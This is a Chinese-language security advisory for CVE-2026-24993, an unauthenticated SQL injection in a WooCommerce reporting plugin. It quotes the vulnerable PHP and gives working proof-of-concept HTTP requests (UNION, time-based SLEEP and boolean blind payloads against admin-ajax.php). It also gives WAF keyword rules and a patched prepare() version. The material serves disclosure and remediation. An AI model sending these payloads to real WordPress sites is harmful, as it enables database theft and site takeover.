WooCommerce 高级报告与统计 – 订单、产品与客户报告 WordPress插件SQL注入[ CVE-2026-24993 ]
基本信息项目详情漏洞编号CVE-2026-24993插件名称Advanced Reporting Statistics for WooCommerce受影响版本 4.1.3补丁版本4.1.4CVSS 3.17.5高危漏洞类型SQL注入SQL Injection利用难度低无需认证危害等级高危漏洞概述Advanced Reporting Statistics for WooCommerce 是一款功能强大的 WooCommerce 销售报告和统计分析插件支持订单、产品、客户、国家、支付方式、运费、税费、退款等多维度数据分析。该插件在 4.1.3 及之前版本中存在多处 SQL 注入漏洞攻击者可以通过构造恶意的 AJAX 请求在无需认证的情况下执行任意 SQL 语句从而窃取数据库敏感信息、篡改数据或完全控制数据库。漏洞成因根本原因分析该漏洞的根本原因在于插件开发者在处理用户输入时未使用 WordPress 提供的预处理语句机制$wpdb-prepare()而是直接将用户输入的参数拼接到 SQL 查询字符串中执行。1. 不安全的 SQL 拼接方式在helper-class.php文件中display_orders_by_period()方法存在严重的 SQL 注入漏洞publicfunctiondisplay_orders_by_period(){// ...$customer_id(empty($_POST[customer])?null:sanitize_text_field(wp_unslash($_POST[customer])));// HPOS 模式第 236 行$query. AND orders.customer_id {$customer_id} ;// 传统订单表模式第 269 行$query. AND meta_customer.meta_value {$customer_id};$results$wpdb-get_results($query);}2. 关键问题分析问题说明不充分的输入验证仅使用sanitize_text_field()清理输入该函数用于清理文本内容不是 SQL 转义函数直接字符串拼接$customer_id直接拼接到 SQL 语句中没有任何参数化查询保护缺少类型检查未对customer参数进行类型验证或强制转换为整数3. 未授权访问的 AJAX 端点在helper-class.php文件第 131-132 行该 AJAX 端点配置了wp_ajax_nopriv_前缀这意味着任何用户包括未登录的访客都可以访问该端点add_action(wp_ajax_display_orders_by_period,array($this,display_orders_by_period));add_action(wp_ajax_nopriv_display_orders_by_period,array($this,display_orders_by_period));4. 其他存在类似问题的端点文件AJAX Action漏洞参数权限要求helper-class.phpdisplay_orders_by_periodcustomer无需认证helper-class.phpget_customersids需要管理员权限helper-class.phpget_countriesids需要管理员权限helper-class.phpget_paymentsids需要管理员权限helper-class.phpget_couponsids需要管理员权限helper-class.phpget_productsids,product,cat需要管理员权限helper-class.phpget_categoriesids,product,cat需要管理员权限漏洞影响1. 数据泄露风险攻击者可以获取 WordPress 所有用户的用户名、密码哈希、邮箱地址读取 WooCommerce 订单信息、客户数据、支付详情导出整个数据库内容包括敏感的客户个人信息2. 数据篡改风险攻击者可以修改管理员密码接管网站篡改订单数据修改支付状态或金额删除或损坏重要业务数据3. 服务器沦陷风险在特定条件下攻击者可以通过 SQL 注入获取服务器 shell如使用 INTO OUTFILE在服务器上执行任意命令完全控制目标服务器漏洞复现受影响端点端点方法认证要求/wp-admin/admin-ajax.phpPOST无需认证actiondisplay_orders_by_period/wp-admin/admin-ajax.phpPOST需要管理员权限actionget_customers/wp-admin/admin-ajax.phpPOST需要管理员权限actionget_products复现步骤验证漏洞存在UNION 注入POST /wp-admin/admin-ajax.php HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded actiondisplay_orders_by_periodcustomer UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x6e75636c65692d73716c692d74657374,VERSION(),0x6e75636c65692d73716c692d74657374)-- -验证漏洞存在时间盲注POST /wp-admin/admin-ajax.php HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded actiondisplay_orders_by_periodcustomerAND(SELECT1FROM(SELECT(SLEEP(6)))a)---如果响应延迟约 6 秒则确认存在 SQL 注入漏洞。布尔盲注验证# 条件为真返回正常数据 POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded actiondisplay_orders_by_periodcustomerAND11--- # 条件为假返回异常或无数据 POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded actiondisplay_orders_by_periodcustomerAND12---修复建议1. 立即升级强烈建议所有用户立即升级到 4.1.4 或更高版本官方已在该版本中修复了此漏洞。2. 临时缓解措施无法立即升级时如果暂时无法升级可以通过以下方式缓解风险方法1使用 WAF 规则拦截在 Web 应用防火墙WAF中添加规则拦截包含 SQL 关键字的请求- 监控路径/wp-admin/admin-ajax.php - 监控参数actiondisplay_orders_by_period - 拦截关键词UNION、SELECT、INSERT、UPDATE、DELETE、DROP、SLEEP、BENCHMARK - 拦截特殊字符单引号、分号、注释符(--、/*、*/)方法2禁用未授权访问临时方案在主题的functions.php中添加以下代码移除未授权的 AJAX 端点add_action(wp_ajax_nopriv_display_orders_by_period,function(){wp_die(Unauthorized,Unauthorized,[response403]);},1);3. 代码修复方案正确的修复方式应该是使用预处理语句publicfunctiondisplay_orders_by_period(){// ...$customer_id(empty($_POST[customer])?null:intval(wp_unslash($_POST[customer]))// 强制转换为整数);if($customer_id){$query.$wpdb-prepare( AND orders.customer_id %d ,$customer_id);}// ...}或对于需要字符串参数的情况if($customer_id){$query.$wpdb-prepare( AND orders.customer_id %s ,$customer_id);}免责声明本报告仅供安全研究和授权测试使用。未经授权对他人系统进行安全测试属于违法行为请遵守相关法律法规。使用本报告中的信息所造成的任何后果与报告作者无关。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2467165.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!